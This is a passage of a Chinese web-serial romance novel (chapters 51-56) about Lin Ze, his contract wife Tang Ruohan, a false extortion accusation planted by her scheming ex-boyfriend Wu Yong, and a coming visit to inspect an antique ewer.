一开始。 苏晴只是惊讶。 可到最后,惊愕的嘴巴都合不拢了。 得知唐若涵并没有受伤,袖口上的血渍是在给吴庸送纸巾时不小心蹭上的,苏晴的心终于往下放了一些。 “所以,这就是你说的……气死了?” “难道我不应该生气吗?” 反问以后,唐若涵又说出心中猜测。 最终。 唐若涵把林泽的反常完全归咎在南希身上。 这时。 苏晴的表情突然变得郑重,“表姐,我倒觉得,你完全没有必要生气。” “为什么?林泽太让我失望了,他怎么能这样做?勒索是犯法的!” “不,我不相信姐夫是这种人,万一这里头有误会,也说不定。” 唐若涵瞬间提高音量。 “什么误会?我当时就在现场,亲耳听到吴庸陈述经过,难道吴庸会骗我?” 苏晴迎上唐若涵的目光。 “吴庸是什么样的人我不清楚,但我相信姐夫的为人,表姐,你跟姐夫相处也有三年的时间了,他是什么样的人,你不清楚吗?” 唐若涵被怼得一句话也说不出来。 在这三年当中。 林泽确实没有做过什么过分的事情。 甚至在唐若涵的印象当中,林泽是一个正直,诚实的人。 可吴庸不可能说谎! 一时间。 唐若涵也不知道该说什么。 “算了,反正事情已经闹到警局了,究竟怎么回事?等警察给答案吧!” 唐若涵换了一个坐姿。 让她郁闷的不仅是警局里发生的事,还有警局外面的那些事情。 苏晴眉头紧皱,又小声嘀咕了一句。 “反正,我就是相信姐夫。” “你还相信他?小晴,很多事情不是表面上那么简单,林泽,现在正跟别的女人约会呢!” 唐若涵的声音带着怨气,还有一丝丝酸涩。 想到此刻林泽正在跟南希卿卿我我,本就郁闷的心情更加烦躁了。 苏晴盯着唐若涵看了一会儿,突然将头凑过来,压低声音,“表姐,你说,姐夫会不会是对你太失望了?所以采用这种方法气气你?” 不等唐若涵说话,苏晴便自顾自地分析起来。 “你们在一起三年,姐夫全心全意对你,可你总是冷若冰霜,整天没有个好脸色,换做是我,我早就失去耐心了。” “现在,吴庸回来以后,你又整天不着家,他肯定伤心难过了。” “你可以有心中的白月光,他为什么不行?” “所以,答案只有一个,那就是你伤了姐夫的心了!” 把话说完。 苏晴无奈地靠在沙发上。 “你在说什么乱七八糟的?我跟吴庸没什么,就在一块吃吃饭,聊聊天。” 唐若涵突然感觉心虚,小声解释起来。 苏晴当场反驳。 “你可拉倒吧,吴庸怎么对你,我都看在眼里,他那种方式,可不只是想跟你聊天。” “你跟吴庸一块吃了那么多顿饭,姐夫也没说什么,人家只出去吃一顿,你就受不了了?” 唐若涵实在找不出理由怼回去,最后干脆耍起无赖。 “苏晴,你过来是安慰我,还是刺激我的?” “我不管,反正,我跟姐夫是一伙的!” 唐若涵再次无语。 两个人都不再说话,包括各有各的心事。 突然。 一阵急促的手机铃声传来。 苏晴吓了一跳,随即看向茶几。 唐若涵蹙起眉头,看到手机屏幕上显示的是“吴庸”,便按下接听键。 “吴庸,有什么事吗?” “小涵,你现在在哪里,跟林泽……在一起吗?” 吴庸声音急促,却支支吾吾。 “没有。” “我好像看到林泽了,”吴庸声音惊疑不定,“他跟一个女孩子在一起!” 唐若涵胳膊一抖。 手机差一点掉到地上。 “是吗?你是不是看错了?” 唐若涵尽量表现得若无其事,可心已经慌起来。 “不可能!那人绝对是林泽!” “可是,小涵,你知道他跟谁在一起吗?” “是南家的大小姐,南希!” 吴庸声音当中充满不可置信,似乎在等待唐若涵说什么。 可此刻。 唐若涵还在脑海当中组织林泽和南希约会的场景,根本无暇顾及吴庸。 偏偏,这时吴庸又抛出一个重磅。 “小涵,你说,林泽会不会是抱上南希的大腿了!” “不可能!” 唐若涵声音瞬间拔高,眼神满是坚决。 电话那端。 吴庸语气一下子变得缓和。 “小涵,你别生气,我也只是这么说说,毕竟南家家世显赫,跟唐家比不相上下。” “林泽不是马上就要跟你离婚了吗,他这么做,也是为以后着想。” “这件事情不能怪他,我们要试着理解一下。” 乍一听去。 吴庸像是在劝解唐若涵。 可他所说的每一句话,无疑都是在火上浇油! 事实也正如同吴庸所想。 此刻。 唐若涵胸脯一起一伏,呼吸变得不顺。 握着手机的关节,都开始泛白。 “吴庸,我累了,有什么事情明天再说吧!” 唐若涵语气疲惫。 吴庸关切的声音很快传来。 “好的,小涵,你先休息。” “刚才,我亲自去东海大酒店给你订了海鲜粥,一会儿服务人员会送过去,你多少吃一些。” “真是的,早知道会遇到林泽他们,我就去别的地方了。” “行了,不说那么多了,你先休息,我们回头联系。” 说完。 吴庸主动挂断电话。 整个客厅,一片死寂。 唐若涵只听到自己咬牙的声音。 “小晴,你看到了吗,林泽根本不是你想的那个样子,他就是为了钱!” 第一卷 第52章 前男友的心意。 从小到大。 苏晴从没见过唐若涵这么生气的模样,瞬间被吓住。 “表姐,你先冷静一下,姐夫还没回来,是怎么回事,咱们都不清楚啊!” “你不要叫他姐夫,他眼里除了钱以外,什么都没有!他就是一个冷血的人!” 唐若涵将手机扔到一旁。 随手拿起一个抱枕,狠狠地摔在地上! 林泽! 你可真行! 我们还没离婚,你就开始找后路了! 你干脆一直跟南希在一起,最好永远都不要回来了! 苏晴撇撇嘴,蹑手蹑脚的将抱枕拿起来,顺带的看了一下门口。 姐夫。 你到底什么时候回来? 再不回来,这里就要翻天了! 唐若涵做了四五个深呼吸,情绪这才稳定一些。 “出事以后,吴庸被打的鼻青脸肿,却还想着给我订海鲜粥,可林泽,却在忙着跟别的女人约会!” “小晴,这就是对比!” “没有对比就没有伤害,没有对比,也就无法看清楚事情的真相!” “我们之间只存在合约的关系,时间一到,互不相欠。” 说出最后一句。 唐若涵的心,突然隐隐作痛。 在一起的三年,林泽对自己的好,只是责任所在吗? 三年里,他完美地诠释了什么是模范好丈夫。 时间一到,就要立刻摆脱这个角色吗? 见唐若涵火气这么大,苏晴张张嘴,最终也没有说出什么。 …… 吴家老宅。 缓缓放下手机,吴庸嘴角微微扬起。 冷笑中掺杂着一丝狠辣。 “事情办得不错,继续监视,有消息第一时间告诉我。” “老板放心,咱们的人轮班倒,保证二十四小时都有人盯着!” 一个穿着黑色西装的人,认真汇报。 吴庸眼眸眯成一道缝,随手拿起一张空白支票,几笔下去,将手一扬。 “这些钱你们先拿着,再有这样的消息,照样有奖励!” 对方受宠若惊,双手接过支票,瞬间激动的眼神都变了。 “谢谢老板,我们一定会尽力的!老板就是大方,能够跟着老板干,是我们修来的福气!” “别啰嗦,赶紧走!” 见吴庸脸上神情有变,那人头点的如捣蒜一般。 “好,老板,我现在就走!” 后退两步后,那人迅速出门,顺便还将门带上。 很快,空荡的房间里只剩下了吴庸一个人。 想起刚才那通电话,吴庸再也忍不住笑出声。 林泽。 在我的眼皮子底下搞小把戏,你还嫩了些! 断了唐家,傍上南家? 想得美! 突然。 吴庸倒吸一口凉气。 鼻梁处的疼痛再次传来,他的眼神也跟着阴冷。 “林泽,你敢动我的脸,我就能……毁了你!” 刚才那通电话看似平淡无奇,可依照唐若涵的性格,一定会大发雷霆。 林泽,你想跟唐若涵好聚好散? 不可能! 每次想到唐若涵跟林泽在同一个屋檐下生活三年,吴庸心底的嫉妒就如同春天的野草一般,疯狂生长! 分开三年,吴庸渐渐发现,现在,唐若涵对他已经开始疏离。 原因就是……林泽这个绊脚石! 所以。 林泽必须要除! …… 盛世豪庭。 跑车在小区门口停下。 林泽南希相继下车。 “就送到这里吧,谢谢你了。” 林泽脸上泛着淡淡笑意,声音平静。 南希抿着嘴,目光当中带了一丝埋怨,可说话的声音依旧柔柔的。 “说好了这顿饭是我请,你却偷偷结账,现在还这么客气,这是完全把我当成外人,一点都不念及以前的同窗之情了?” 说起其他情愫,南希心中没底。 可说起同窗之情却理直气壮。 毕竟大学几年,林泽和她之间没有少相互帮助,南希也清楚,讲起这些,林泽肯定没辙。 果然。 南希刚刚把话说完,林泽脸上就露出不好意思的神情。 “请你吃一顿饭不算什么,今天的事多亏了你……” “你的意思是,我帮了你的大忙了?光是请我吃一顿饭,都表达不了你的谢意?” 林泽话还没有说完,南希突然将他打断。 “对。” 林泽语气郑重,一脸认真。 南希:“那好,这可是你说的,回头我找你帮忙的时候,你可不能把这件事给忘了。” 林泽一怔。 “你有什么事情需要我帮忙的?” 剩下的话,林泽没有说出来。 他对南希的家世了解得并不多,可依照眼下情形来看,至少要比自己不知道要好出多少倍。 她能找自己帮什么忙? 对面。 看着林泽怔怔的表情,南希轻笑几声。 “我现在不需要你帮忙,以后可不一定,一辈子这么长,谁没有遇到困难的时候,你说是不是?” “你这期限可有点长。” “那怎么了?你是不是想反悔?” 南希歪歪头,俏皮地眨了眨眼睛。 林泽的声音再次变得郑重起来。 “不会,以后但凡有什么我能帮忙的,只要你开口,我肯定不会推辞。” “好!” 南希声音清脆,双手背在身后,开心地踮了踮脚尖。 此刻。 快乐就像一个孩子。 只是。 目光落在林泽手上的打包盒上,心中又升起一丝失落。 林泽和唐若涵之间有了矛盾,都闹到警局了,可出去吃饭的回去,还不忘记专门给她要一份海鲜粥。 一想到这些,南希的心突然沉沉的。 “好了,时间也不早了,你赶紧回去吧,这粥凉了就不好喝了。” “好,你路上注意安全。” 南希还在期待着林泽说出什么,谁成想,林泽已经开始平静地望着她。 这个林泽,怎么还像以前一样一点都没变? 再怎么着,这也是自己回国以后跟他的第一次见面,都要分开了,怎么连一点暖心的话也不说? 至少,说上句做个好梦也可以吧。 眼看着已经没有多少期待,南希这才离开。 随后。 林泽转身回了别墅。 东海大酒店的包装盒极其考究,粥类的菜品打包以后,还会附带装上保温盒。 短时间之内,是不会凉的。 林泽确定,手里的东星斑毋米粥,现在还是热的。 走在别墅前的石字路上,林泽在心中提醒自己。 合约期间,照顾好唐若涵是他要履行的职责。 再坚持坚持。 时间很快就到了。 来到门口。 林泽拿出钥匙。 …… “嘎达——” 门口处。 解锁的声音传出。 唐若涵眼眸瞬间收紧! 第一卷 第53章 浴袍的带子……掉了! 像往常一样。 林泽进门先放好钥匙,接着换鞋。 在整个过程中,左手里的打包盒始终没有碰到任何物品。 唐若涵坐在沙发上,就这么看着林泽,心中五味杂陈。 曾经有几次,也是这样的情形,她观察过林泽的一举一动。 因为有轻度洁癖,所以对林泽的要求也会跟着变严苛。 林泽的做法让人挑不出毛病。 可是。 今天。 唐若涵心里就是不舒服,心跳加快的同时,眉头蹙得更紧。 这种矛盾的情绪,几乎随时能击破唐若涵装出来的淡定。 “咳咳!” 不自然地咳嗽了两声,唐若涵的目光再次停在林泽身上。 林泽现在心里在想什么? 跟他的大学同学约会以后,是不是特别高兴? 还有,南希跟他之间,只有同学情谊吗? 无数个问题一下子涌出来。 唐若涵更乱了。 可林泽却如同往日一样淡定。 难道今天在警局发生的事情,他并没有放在心上? “唐总,这是东海大酒店的东星斑毋米粥,菜心是多加了一些的。” 走到唐若涵面前之际,林泽开始说明配菜分量。 唐若涵没说话,眼睛一直停在林泽的脸上。 三年来。 她好像从来没有认真地看过他。 林泽的脸,刚毅当中带着俊秀,他的身上好像也多了一丝英气。 只是,人有些偏瘦。 “唐总?” 见没有回应,林泽再次问了一句。 唐若涵却把头别向一边,“倒了,我不喝!” “别呀,表姐,这粥都带回来了,不喝倒掉多浪费,”苏晴盯着打包盒咽口水,接着又看向唐若涵,“怎么,你该不会是只喝吴庸给你的粥吧?” 说着。 苏晴没好气地翻了个白眼。 东海大酒店的东星斑毋米粥不好定,虽然现在有两份,可直接倒掉,未免也太浪费了。 林泽一怔。 几乎本能地看向餐厅的方向。 果然。 餐桌上,放着一个打包盒,盒子上面还放着个立体的爱心便签。 再低头看看手里的这份。 相比之下,就显得有些单调了。 那份打包盒上的红色爱心极其显眼。 自己手中这份,上面什么也没有。 “原来,唐总已经有粥了,那我把这份放到厨房。” 林泽说着便要转身。 唐若涵的声音突然传来。 “等一下!” 声音陡然拔高,就连唐若涵也不曾想到。 苏晴被吓得打了个哆嗦,接着可怜巴巴地看着唐若涵。 “林泽,我们谈一谈。” 林泽表情微不可察的一怔,“好的,唐总。” 将粥放到一旁,林泽站在唐若涵的对面。 屋子里的气氛顿时压抑起来。 眼前场景却又有些不合时宜。 唐若涵虽然坐得端正,可她现在头发未干,浴袍上散发着玫瑰的香气。 白皙小腿细腻地泛着淡淡光泽。 苏晴无法想象,看起来如此温柔的表姐,难道真要责骂林泽吗? 场景无法想象,苏晴干脆选择逃开。 “呃,表姐,你们要谈事情,我是不是要回避?” “随便。” 唐若涵头都没转,冷冷地甩出一句话。 苏晴看看林泽,突然又改变主意。 还是留下来吧,万一一会儿唐若涵发火,自己还能帮着林泽说几句话。 毕竟,今天的事情闹得不小。 把心一横,苏晴又硬着脸皮说道:“要不,我还是留在这里吧!” 唐若涵没有理会苏晴,开口之际,精致脸上如同蒙了一层薄霜。 “林泽,今天发生的事,你不解释一下吗?” 林泽垂眸,嘴角笑容带着一丝自嘲。 解释? 有必要吗? 对于一个不相信自己的人,再多的解释也是无济于事。 既然唐若涵已经认定当初的猜测,又何必多此一举? 尽管心中这样想,但林泽却没有表现出任何不敬的表情。 就连语气。 也如同往常那样平静。 “唐总,警察局已经立案了,估计很快就能给答复。” “我说的不是警局那边,是你,不想给我个解释?” 问话间。 唐若涵神情已经变得恼火。 林泽摇摇头。 “没有。” “你是什么意思?难道今天的事情我冤枉你了?先是勒索,后是动手打人,我全都看到了?” 唐若涵也在按压情绪。 可一想到林泽的行为,心中的恼火还是无法抑制。 林泽喉结动了动,终于发声。 “唐总,您确定,亲眼看到我勒索吴庸?” 唐若涵张张嘴,刚才接着反驳,突然又有些心虚。 勒索的事情,她是从吴庸嘴里听说的。 吴庸说先是给林泽一笔小数目,林泽不同意,接着狮子大开口。 谈妥不拢,林泽这才动手打人。 虽然没有听到秦泽勒索吴庸,可是,她却看到林泽动手了。 “我……看到你打吴庸了!” “我为什么打他?唐总知道吗?” 林泽盯着唐若涵的眼睛问。 “当然是你要钱他没有给,没有达到你心中的期望,所以才动手!” 唐若涵几乎想也没想地回答。 林泽冷笑。 果然跟刚才想的一样。 在唐若涵的心里,已经对这件事情有了定位。 不管说多少,错的那个人都是自己! 现在想想。 林泽都后悔跟唐若涵说这几句话。 “林泽,错了就是错了,去争取吴庸原谅,事情或许还能缓和,不然……” “不然什么?我会牢底坐穿吗?谢谢唐总的一番好意,如果在坐牢和违背良心之间选择,那我宁可选择坐牢!” 林泽目光坚定,声音决绝。 唐若涵瞬间怔住。 旁边。 苏晴也张大嘴巴。 缓过神来后,苏晴几乎惊呼出声。 “不,姐夫,你怎么会坐牢,你在说什么呀!” 苏晴的声音带着哭腔,眼眶都跟着泛红。 “唐总,”林泽定定神,“对于没有做过的事情,我绝对不会承认,你可以心仪吴庸,可是不要践踏别人的尊严。” 唐若涵不知所措。 甚至不知道如何接上林泽的话。 “践踏尊严?林泽,你怎么会这么想?我这样做是想缓和一下关系,毕竟打人的是你,是你有错在先!” 林泽再次站直身体。 “好,既然您如此认为,那唐总为什么不问问我打人的原因?” “唐总不相信我所言,一味地相信吴庸的那一套说辞,又何必来问?” “还是说,唐总这样做,只是想简单地表示一下慰问?” 一连串的询问说出。 唐若涵彻底懵了。 林泽,你怎么可以这样想! 偏偏这时,林泽又做了一个让人惊掉下巴的举动! 唐若涵还没缓过神,林泽竟然……转身了! 瞬间。 唐若涵火冒三丈,当即起身! “林泽,你站住,谁让你走的!” 情急之下,她想走到林泽面前将其拦住。 可情急之下,动作幅度太大。 刚来到林泽面前。 浴袍的带子……掉了! 第一卷 第54章 能不能飞黄腾达,全看你了! 唐若涵面色泛红,嘴唇翕动。 却说不出一句指责林泽的话。 气愤之余,对于浴袍已经松散这件事竟然毫无所知。 眨眼功夫。 浴袍领口由正常变为深V,偏偏领口还在往下滑。 林泽瞬间愣住。 相处三年,这样的唐若涵,他从来没有见过。 “唐总!” 缓过神来后,林泽惊叫一声,想也没想一把扯住唐若涵的浴袍。 “林泽,干什么!” 唐若涵惊恐地想要往后退,可衣服却被林泽拽得死死的,整个人都动弹不得。 林泽边别头边开口。 “唐总,你衣服的带子,掉了!” 唐若涵一惊。 急忙低头查看。 浴袍带的确掉在地上。 自己的领口,却被林泽紧紧地抓着。 他的这个动作,刚好避免了一场尴尬。 突然。 唐若涵脑海当中闪过刚才一幕。 林泽目光当中的惊愕和震撼,异常明显。 难不成,刚才…… 唐若涵倒吸一口凉气,脸颊呼呼地烫,耳垂红得都要滴下血来。 “先……放开我!” 磕磕绊绊地说出几个字,唐若涵想要去捡地上的带子。 林泽没有回头,弯腰之际,将衣服带子捡起来,交到唐若涵手中。 “唐总,你把衣服系好吧。” 唐若涵没说话,匆忙系上衣服,一把将林泽推开。 “你让开!” “表姐,你要去哪里?” 苏晴瞪圆眼睛。 不过几秒钟的功夫,表姐就要匆匆上楼,还有,刚才发生了什么? 她不过是嘴馋,偷偷看了一眼东星斑毋米粥,这两个人,怎么都如此不对劲了? 唐若涵没有理会苏晴,越走越快。 一口气走到二楼。 苏晴只好再次跟上去,嘴里还不停地小声嘟囔。 “表姐,你这脾气越来越不好了,一点都不理智了!” 唐若涵脸红,尴尬得不敢回头。 只好紧咬着牙。 苏晴,你这是站着说话不腰疼啊! 同样的事情如果发生在你的身上,估计你得炸毛! 很快。 客厅里只剩下林泽一个人。 默默收回思绪,林泽拿起打包盒。 路过餐厅时,再次看到那个小爱心。 同时,林泽也看清楚爱心留言。 “换我心,为你心,始知相忆深,小涵,为了你,我什么苦难都能忍受,照顾好自己。” 林泽停下脚步,眼神当中满是嘲讽。 吴庸。 你可能会演戏! 你喜欢唐若涵,尽管放心大胆地去追求,何必诬陷别人来制造高尚? 真恶心! 冷哼一声。 林泽加快脚步。 …… 唐若涵依旧坐在床上,一言不发。 此刻,她的心乱作一团。 既有对林泽行为的震撼,又有刚才的尴尬。 再加上那理不清的真相,唐若涵的心跳也越来越快。 究竟是怎么回事,她已经分不清楚了。 刚才苏晴说她不理智。 这种情况下,谁能理智? “表姐,我觉得姐夫委屈。”苏晴默默地说了一句。 话音未落。 唐若涵已经看向苏晴这边。 “你还是偏向林泽?” “不是偏向,只是觉得姐夫没有必要这样做。” 见唐若涵没有斥责自己,苏晴接着又大胆地分析。 “表姐,你想,如果姐夫真缺钱了,他会傻到去找吴庸吗?” “他可以找你,找姨夫,这么多自家人他不找,他去吴庸那里自取其辱?他傻呀?” “换做任何一个正常人都不会这样做,更不要说,姐夫还是一个很有原则的人了!” 唐若涵虽然没有顺着苏晴的话往下说。 可这一次,她却觉得苏晴说的……好像有点道理。 她跟吴庸有那么多年的感情,如果不是林泽,估计现在她已经嫁给吴庸了。 也可以说,在吴庸面前,林泽并不优秀。 他去找吴庸要钱,只会换来嘲讽跟鄙夷。 林泽完全没有理由这样做。 不过。 唐若涵脑海当中突然又冒出一个念头。 “可是,苏晴,林泽不像是在说谎,可吴庸也没有理由骗我啊,是不是?” 苏晴做出一副无可奈何的模样。 “这我就不知道了,说实话,吴庸是什么样的人我根本不了解,可是我了解姐夫。” “姐夫很诚实,而且做事有条不紊。” “还有姐夫做的饭菜非常好吃,他把你照顾得非常周到。” 苏晴掰着手指头说理由。 唐若涵再一次无语。 “行了,说到底,你就是被林泽给笼络住了,谁知道你是不是为了口腹之欲来说违心的话?” 苏晴一下子急眼,三步并作两步蹦到唐若涵跟前。 “表姐,我虽然贪吃,可是,在这么重大的事情面前,我也不会胡说八道的!” “行了,说你两句你还着急了,这几天,我都没有听你说过吴庸一句好话,说你没有向着林泽,我都不信!” 唐若涵换了一个坐姿,眉头再次皱成一团。 …… 东海向阳小区。 周磊蓬头垢面,蜷缩在沙发的一角,整个人就跟魂丢了一样。 自从知道南希主动联系了林泽,周磊满脑子想的,都是他们两个约会的情形。 或许,他们还没有见面。 可是,南希都打电话了,见面约会是迟早的事儿。 想起南希跟林泽说话时温柔的声音,周磊心中又是一阵嫉妒。 林泽都结婚了,凭什么南希的心还在他身上? 南希放不下林泽,可这些年,自己对南希也是一往情深,从来没有变过,她为什么就不看自己一眼? 周磊抬眼。 入目处,是一个木质托盘,盘子上放着一套青花瓷茶具,其中一个,杯底还有轻微裂痕。 从面前的茶具上便能看出他的家庭状况。 的确。 他家庭条件并不怎么样。 不光是因为茶具坏了都舍不得丢。 说得更确切一点,就连面前这套青花瓷茶具,都是仿的。 依照自己的家庭条件,怎么可能入得了南希的眼? 周磊郁闷地摇摇头。 可正因为如此,他心中越发的不甘。 他们家条件差,周磊承认。 可是。 林泽的条件不比他更差吗? 好歹他在东海还有房子,有父母,有个遮风挡雨的地方。 林泽有什么? 在跟唐若涵结婚以前,在,他连个住的地方都没有。 除了一个爷爷以外,好像连父母都不在世了吧! “该死!” 周磊手握成拳,咬牙切齿地从喉咙里挤出一句。 “儿子,怎么了?是不是南小姐给你打电话了?” 听到周磊发出声音,周母一路小跑着过来,眼睛都在放光。 刚来到周磊跟前,周母又是一番嘱咐。 “儿子,可记住了,跟南小姐说话,一定要客气,她喜欢听什么你就说什么,千万别让她不高兴。” “你要清楚,咱们家以后能不能飞黄腾达,就看你能不能追上南希了!” “你可得长点出息,别让我们失望!” 第一卷 第55章 这浑水,他不想趟。 周磊情绪低落,周母丝毫没有察觉,几句话过后,整个人便沉浸在自己的思绪当中。 “在东海,南家可是大户人家,听说光是服侍他们的保姆就有十好几个,咱们要是过上那样的日子,那得多气派?” “儿子,咱们提前说好,你要是追上南希,先把商场的那个包包给我买了,一千多块钱,我看了好几次都舍不得。” “还有,把咱们老家的房子也翻新一下吧,反正南家有的是钱!” 周母越说越高兴,美滋滋地咂了咂嘴,脸上褶子笑得更深。 南家是棵大树,只要傍上了,鸡犬都能升天! 到时候。 她穿上旗袍,登上高跟鞋,挎着名牌小包在小区里转一圈,还不得让人羡慕死? 以后儿子就是南家的女婿,南家只有一个闺女,那整个家业不还是他们周家的? 就算以后他们生了儿子,那也得姓周! “哎哟,不行了,光是想想,我就觉得头晕!” 周母伸手抚住额头,一边贪婪地笑,一边靠在沙发上。 “妈,你别想了,我跟南希不可能。” “什么!”周母一个激灵,眼睛瞬间瞪得溜圆,“你不是跟她表白了吗,这不一直在想后面的事情吗,怎么就不行了?” 不等周磊开口回答,周母翻了翻眼皮,接着眼睛盯向了儿子的某一处。 “该不会是……你不行吧?” 周磊一阵烦躁,直接转头背过身去。 “你说什么呢,我跟南希还没有发展到那种地步,我向她表白,她拒绝了。” 想到被拒,周磊不由得又想到了林泽。 就是因为林泽,南希才不会给他任何念想。 不过这林泽也是,他都结婚了,都有了唐家的大小姐了,凭什么还要跟自己抢? 就算他想玩出什么花样来,随便找哪个女人不行?为什么偏偏盯着南希? 怨恨再次涌上心头,周磊脸色变得狰狞。 旁边。 周母一下子变得安静。 满脑子想的,都是怎么帮儿子追南希。 “这南大小姐,有没有说不喜欢你什么?” 周磊摇摇头。 周母瞬间急眼。 “你这傻孩子,你得问呀,她不喜欢哪儿你就改哪儿,时间长了不就喜欢了吗?” 周磊一阵无语,当即拿抱枕堵上耳朵。 …… 次日清晨。 林泽像往常一样准备好早餐,却没有上楼去叫唐若涵。 今天是周末。 唐若涵是要睡到自然醒的。 林泽坐在椅子上,抬眼看了一下楼上,随即收回目光。 按照唐若涵以往的习惯,她应该会在八点左右下楼。 现在是早晨七点半。 也就是说,他还有将近半个小时的自由时间。 林泽刚想回自己房间,楼上突然传来一阵脚步声。 唐若涵竟然下来了! 林泽特意看了一下墙上的钟表,确定没什么问题,这才站起身。 “唐总,早餐已经准备好了。” 唐若涵看看林泽,继续下楼。 真丝吊带连衣裙搭配着米黄色外套,温柔中透露着一丝慵懒。 只是,唐若涵的声音当中略带疲惫。 “知道了,你也坐下吧,吃完饭以后,我们一起去一趟赵家老宅。” “赵家?” 林泽一怔。 一时间想不清楚是哪个赵家。 唐若涵伸手拢了一下头发,白皙脖颈瞬间露出一大截。 林泽不由得想到昨天那一幕,急忙低下头。 这时。 唐若涵的声音再一次传来。 “赵明来教授家里,刚才师母打电话过来,说上次师傅联系的那帮人,今天要过来,他想让我们过去看看。” “师母给你打电话,一直没有人接听,她特意嘱咐我,一定要把话传给你。” “登封窑白釉提花执壶,之前我也没有见过,你就过去一趟吧。” 唐若涵脸上没有什么表情,依旧带着淡淡的疏离。 但语气跟昨天相比,已经缓和了很多。 林泽微微皱眉。 赵家的事情,他已经不打算插手。 毕竟,当初该说的都已经说了,至于赵夫人会不会购买,完全取决于她的个人意愿。 况且。 上次,吴庸已经表现得非常明显,他肯定是要在赵夫人面前表现一番的。 跟吴庸那样的人,能不见面还是不见面的好。 晦气! “不好意思,唐总,我不想去。” 林泽声音平静,当场拒绝。 唐若涵柳眉微蹙,声音当中夹杂着不悦。 “师母亲自打电话就是想让你过去,你这样做,岂不是拂了她的面子?” “对于我来说,赵夫人只是一个陌生人,我们之间没有什么交情,之前说的那番话也是好心提醒,这已经足够了。” 林泽话里头的意思已经非常明显。 赵夫人是你的师母,不是我的师母。 你可以顾及她的面子。 我却完全不必。 帮着张军破案,念的是多年的交情。 而赵夫人那边,林泽觉得自己做得已经够多的了。 又是吴庸,又是助理,哪一个不把他看成眼中钉? 这一滩浑水,他不想趟。 唐若涵被怼的说不出话,好愤怒地瞪着林泽。 林泽看看餐桌上摆的饭菜,再次提醒。 “唐总,饭已经做好了。” 像往常一样,林泽主动将唐若涵坐的椅子拉出来。 刚要站到一旁,他突然发现,旁边手机的指示灯在亮。 只是灯光微弱,却不间断。 这说明。 有电话打过来了。 起床以后,林泽担心手机声响会吵到唐若涵,所以特意调成静音。 刚才一直在厨房里做饭,他也没有注意到这些。 现在看到指示灯亮起,林泽伸手拿过手机。 屏幕上显示的,是“老张”两个字。 老张就是张军,错不了。 唐若涵站在原地没动,眼睛一直看向林泽这边。 林泽微微点头,语气当中充满歉意。 “不好意思,唐总,我接个电话。” 唐若涵嗯了一声,继续保持刚才的状态。 林泽后退几步,这才按下接听键。 还没开口说话。 电话那端。 已经传来张军焦急的声音。 “老林,起床没有?有事跟你商量一下,今天你忙不忙?陪我出去一趟呗!” “去哪儿?” “赵明来家里,赵夫人一直在给我打电话,说找不到你,想想咱们去看看那个老物件。” 听闻。 林泽眉头又皱紧了几分。 这个赵夫人,还真是执着。 找了唐若涵不说,怎么还找张军了? “老张,如果她相信助理说的话,完全没有必要让咱们过去。” “如果她信咱们说的,拒绝跟那些人见面不就行了?” “怎么还搞这么大的阵势?” 张军长叹一口气。 “你说她一老太太,老伴刚走,正是六神无主的时候,想完成老伴的遗愿,又怕被骗,还不是拿不定主意?” 林泽还在犹豫。 张军声音突然提高。 “对了,我跟你讲,那个姓吴的崽子好像也过去,你不想会会他?” 林泽瞳孔收紧。 听张军的话,好像还有别的意思? 第一卷 第56章 跟老婆一块儿去。 “什么意思?” 问话时,林泽并没压低声音,丝毫没有想要瞒着唐若涵。 可电话那端的张军却卖关子。 “来了你就知道了,我接你,还是你跟你老婆一块去?” 林泽还在犹豫。 这时。 又有电话打过来。 看看电话号码,林泽立刻想到刚才那几个未接来电。 “老张,可能是赵夫人打过电话来了,我先接一下。” “行,那这事儿就这么说定了,咱们在老太太那儿见。” 作出决定,张军将电话挂断。 林泽则是又按下接听键。 电话果然是赵夫人打过来的,语气诚恳,也没什么架子。 最后。 林泽也不好意思推脱,只好答应。 不远处。 听着林泽接听电话,唐若涵心中五味杂陈。 自己请他去师母那里,他当场拒绝。 跟张军通电话,语气又自然又亲切。 和师母说话的时候,又是客气谦虚。 这么一对比。 自己反倒像是外人了。 看来,林泽还在埋怨她。 唐若涵还在愣神,林泽已经走过来。 没等林泽再说出什么,唐若涵直接甩出一句:“赶紧吃饭,吃完一块去!” “好。” 短短一个字,像是对这件事情做了一个了结。 直到这时。 林泽才察觉到,苏晴好像并没有下来。 那个经常把“民以食为天”放在嘴边的苏小姐,这个时候怎么缺席了? “唐总,苏小姐……” “别管她,她还在睡。” “好。” …… 十几分钟过后。 林泽开车带着唐若涵驶出别墅。 苏晴依旧在睡梦当中。 车内音乐舒缓,两个人都没有说话。 林泽启动汽车时,音乐便自动响起来。 他并没有主动关掉。 这种情况,要么是设置了自动播放,要么是上次熄火时没有关闭音响。 总之,这是跟唐若涵有关的,林泽不会自作主张。 副驾座上。 唐若涵一直看着外面的风景,偶尔看一下前路。 林泽注意力全都集中在驾驶上,也不曾主动找话题。 这时。 一阵突兀的铃声响起。 唐若涵本能拿起手机,随即眼眸一震。 电话,是吴庸打过来的。 同一时间。 林泽关闭音乐。 可唐若涵却按下了挂断键。 没过几秒,手机铃声再次响起。 屏幕上闪烁的依旧是那两个字“吴庸。” 唐若涵皱眉,只好接听。 “吴庸,有什么事吗?” “小涵,我一会儿去接你,咱们去师母那里,师母刚才给我打电话了,我一会带着我的团队过去,登封窑白釉剔花执壶,今天就给她定下来。” 吴庸声音充满兴奋,只是能明显地听出浓重的鼻音。 “不用了,我已经在去的路上了。” “什么?你怎么能一个人开车去,我去接你啊,我做你的专职司机,你去哪里?我亲自送你过去。” 吴庸不死心,仿佛不相信唐若涵已经在车上。 此时。 唐若涵脸上已经露出不悦的表情,声音当中也夹杂了一丝不耐烦。 “我说不用,再有十几分钟我就到了。” “可是,我还是想跟你共同乘坐一辆车……” “吴庸,我的话没有说明白吗?我们已经出来了,马上就到师母那里,你就不用管了。” 吴庸话语当中明显的露出了诧异之色,声音也跟着提高不少。 “小涵,你们是谁?你跟谁在一起?” “到了你就知道了。” 说完这句。 唐若涵直接挂断电话。 “砰!” 没好气地将手机扔到包里,唐若涵伸手抚了抚额头。 脸,已经黑成一片。 林泽脸上没有什么表情,却有一种想笑的冲动。 唐若涵时间观念很强,做事也很干练。 身为闪创影视传媒的总裁,三年时间当中,她创造了不少业绩,外界包括媒体对她的评价,都是自带气场。 说话声音不重,却有绝对的分量感。 可刚才电话里的吴庸,就像一个听不懂话的白痴! 不是像,而是分明就是! 都说已经出来了,已经在路上了,他还在那里磨磨唧唧的。 哪怕是在热恋当中,也不至于腻歪像块狗皮膏药吧! 简直是无语透顶! 几分钟过后。 唐若涵转头看向林泽。 